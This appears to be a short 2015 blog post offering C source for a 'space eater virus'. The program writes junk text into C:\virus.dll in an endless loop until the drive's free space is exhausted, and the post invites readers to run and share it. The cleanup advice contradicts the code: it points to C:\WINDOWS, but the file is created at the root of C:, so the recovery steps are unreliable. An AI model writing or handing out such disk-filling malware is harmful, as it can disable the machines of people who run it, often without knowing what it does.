Friday, 17 July 2015

Create a Space Eater Virus in C Language


This is a space eater virus which eats the free space in your c drive




#include<stdio.h>  
#include<conio.h> 
#include<process.h> 
void main()
{
FILE *ptr;
clrscr();
ptr=fopen("C:\\virus.dll","w");
if(ptr==NULL)
printf("\n\n Error in opening the File");
else
{
int i;
printf("\n\n\n\t\t SPACE EATER VIRUS!!\n\n\t Eating Space now......");
while(1)
{
sleep(1);
for(i=0;i<=10000000;i++) fputs("This good removes shit",ptr); } } }


When you execute this program It will start eating the space of your C drive. To stop this virus simply close the command window.

In order to recover the lost space of your drive. go to C:\WINDOWS and delete the file virus.dll (also from Recycle bin)

Please share if you like it


No comments:

Post a Comment